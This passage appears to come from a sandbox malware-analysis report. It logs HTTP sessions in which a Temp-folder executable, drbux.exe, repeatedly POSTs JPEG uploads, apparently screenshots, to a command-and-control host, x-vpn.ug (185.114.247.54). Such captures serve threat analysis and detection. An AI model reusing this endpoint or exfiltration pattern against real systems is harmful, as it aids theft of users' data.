Jul 19, 2021 18:35:50.169760942 CEST	5761	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:50.169997931 CEST	5764	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:50.170274973 CEST	5767	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:50.171191931 CEST	5770	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:50.498919010 CEST	5877	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.6	49742	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:22.856671095 CEST	1592	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:22.856684923 CEST	1592	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:22.856964111 CEST	1602	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:22.856997013 CEST	1604	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:22.950953960 CEST	1629	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:22.951014996 CEST	1635	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:35:22.951235056 CEST	1635	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:23.044958115 CEST	1641	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:35:23.045033932 CEST	1667	OUT	Data Raw: 03 ea 2b a3 d3 75 cd 32 cb cc d3 20 d4 ac d2 38 34 67 b4 8a f6 f2 c9 a5 82 59 de e1 65 6f dd 98 dc 94 03 20 6e 4e d9 c0 cd 61 78 82 f2 d2 ff 00 5d 92 e2 cd fc d0 61 89 65 98 2b 2a 4b 2a a0 0c c8 ad ca a1 23 e5 5c 0c 0c 00 14 70 2e 15 66 e6 93 db Data Ascii: +u2 84gYeo nNax]ae+K#\p.f]A77Mmh3`Lgz<$kHn4"O4 0n;=IB7S:0jvAc-l$wLQKcO1hfJOKvv
Jul 19, 2021 18:35:23.045083046 CEST	1685	OUT	Data Raw: 51 e0 3b 96 3e 35 b3 86 22 c9 6d 24 92 49 e5 67 20 11 14 80 7e 41 88 cd 72 9f 1a ff 00 e4 a3 4d ff 00 5e d1 7f 2a fa 1e df 45 d2 ad 27 59 ed b4 cb 28 66 5c ed 92 38 15 58 64 60 e0 81 e9 5f 3b 7c 6c 7d bf 11 e6 1f f4 ed 17 f2 ae 0a d8 98 e2 2b a9 Data Ascii: Q;>5"m$Ig ~ArM^E'Y(f\8Xd`_;\|l}+[K4\$/sMM7y5wAfIR">O;QG3)><QQG0r_7MEJ(cCIiWad.{QEZQM`(Zu6U!E-PhRSZ(S$pSE-P
Jul 19, 2021 18:35:23.138680935 CEST	1693	OUT	Data Raw: 3e d0 ff 00 df b1 47 b6 f2 0f 67 e6 7c 49 9a 4a fb 73 ec 56 bf f3 ed 0f fd fb 14 7d 8a d7 fe 7d a1 ff 00 bf 62 97 b6 f2 0f 67 e6 7c 47 45 7d b9 f6 2b 5f f9 f6 87 fe fd 8a 3e c5 6b ff 00 3e d0 ff 00 df b1 4f db 79 07 b3 f3 3e 24 e6 8a fb 6f ec 56 Data Ascii: >Gg\|IJsV}}bg\|GE}+_>k>Oy>$oV}}bmC~bhy>$C~bhy>$C~bhy>$C~bhy>$k>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.6	49793	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:50.800134897 CEST	5897	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----0545694ecc0f09eecd2eefdc0f03559a Host: x-vpn.ug Content-Length: 96777 Cache-Control: no-cache
Jul 19, 2021 18:35:50.800297976 CEST	5897	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 35 34 35 36 39 34 65 63 63 30 66 30 39 65 65 63 64 32 65 65 66 64 63 30 66 30 33 35 35 39 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------0545694ecc0f09eecd2eefdc0f03559aContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:50.800592899 CEST	5907	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:50.800776005 CEST	5910	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:50.897190094 CEST	5914	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:50.897480011 CEST	5916	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:50.898756981 CEST	5922	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:50.898794889 CEST	5925	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:50.898806095 CEST	5927	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:50.898813009 CEST	5930	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:50.898953915 CEST	5931	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:35:51.202111959 CEST	6004	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.6	49795	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:51.636390924 CEST	6053	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:51.636583090 CEST	6053	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:51.636770010 CEST	6063	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:51.637027025 CEST	6065	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:51.729721069 CEST	6066	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:51 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:51.730586052 CEST	6069	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:51.730811119 CEST	6072	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:51.731257915 CEST	6074	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:51.731486082 CEST	6077	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:51.731744051 CEST	6080	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:51.731981039 CEST	6083	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:51.732357979 CEST	6085	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.6	49797	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:52.320754051 CEST	6162	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:52.320919991 CEST	6163	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:52.321367025 CEST	6173	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:52.321619034 CEST	6175	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:52.405257940 CEST	6192	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
